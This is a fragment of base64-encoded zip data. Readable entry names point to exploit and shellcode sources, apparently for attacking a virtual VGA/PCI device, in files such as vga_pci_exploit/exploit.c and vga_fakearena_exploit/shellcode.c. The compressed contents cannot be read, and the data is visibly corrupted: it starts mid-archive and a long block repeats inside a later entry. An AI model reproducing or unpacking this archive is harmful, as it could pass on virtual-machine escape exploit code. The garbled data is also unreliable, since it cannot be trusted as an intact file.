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
